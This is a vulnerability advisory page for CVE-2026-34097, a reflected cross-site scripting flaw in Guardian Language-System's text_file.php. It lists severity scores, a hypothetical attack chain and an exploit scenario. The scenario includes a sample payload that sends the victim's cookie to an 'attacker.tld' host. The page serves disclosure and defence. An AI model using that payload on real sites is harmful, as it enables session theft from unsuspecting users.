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Guardian Language-System CVE-2026-34097

| EUVDEUVD-2026-41053 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 VulnCheck GHSA-92fw-jg6p-568q
XSS PHP Language System
4.8
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

Requires authenticated attacker (PR:L) and victim interaction (UI:R); scope changes (S:C) as script executes in victim's browser; no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
A
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 16:56 vuln.today

DescriptionCVE.org

Guardian language-system fails to sanitize the id GET parameter before inserting it into multiple HTML form action attributes in text_file.php (lines 94, 101, 323, 403, 826, 852). An authenticated attacker can craft a URL that injects script tags executing in the victim's browser session.

AnalysisAI

Reflected XSS in Guardian Language-System's text_file.php allows an authenticated attacker to inject arbitrary script tags into at least six distinct form action attributes (lines 94, 101, 323, 403, 826, 852) by crafting a malicious URL with a payload in the id GET parameter. When a second authenticated victim is socially engineered into following the crafted link, the script executes within their browser session against the Guardian Language-System origin, enabling session token theft or unauthorized actions on the victim's behalf. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Authenticate to Guardian Language-System instance
Delivery
Craft malicious URL with script payload in id parameter
Exploit
Deliver crafted URL to authenticated victim via phishing or internal message
Install
Victim navigates to text_file.php with injected id
C2
Browser reflects unsanitized id into form action attribute
Execute
Injected script executes in victim's browser session
Impact
Exfiltrate session cookie or perform unauthorized actions as victim
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Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to hold a valid authenticated session on the Guardian Language-System instance, as indicated by PR:L in the CVSS 4.0 vector - anonymous unauthenticated exploitation is not possible. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 4.8 accurately reflects moderate real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A publicly available POC exists at https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad. An authenticated attacker logs into a Guardian Language-System instance, constructs a URL targeting text_file.php with a script-injecting id parameter value (e.g., id=><script>document.location='https://attacker.tld/?c='+document.cookie</script>), and delivers it to a second authenticated user via phishing email or internal messaging. …
Remediation No vendor-released patch has been identified at time of analysis; the CPE wildcard and absence of a fix version in any reference confirm this. … Detailed patch versions, workarounds, and compensating controls in full report.
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CVE-2026-34097 vulnerability details – vuln.today
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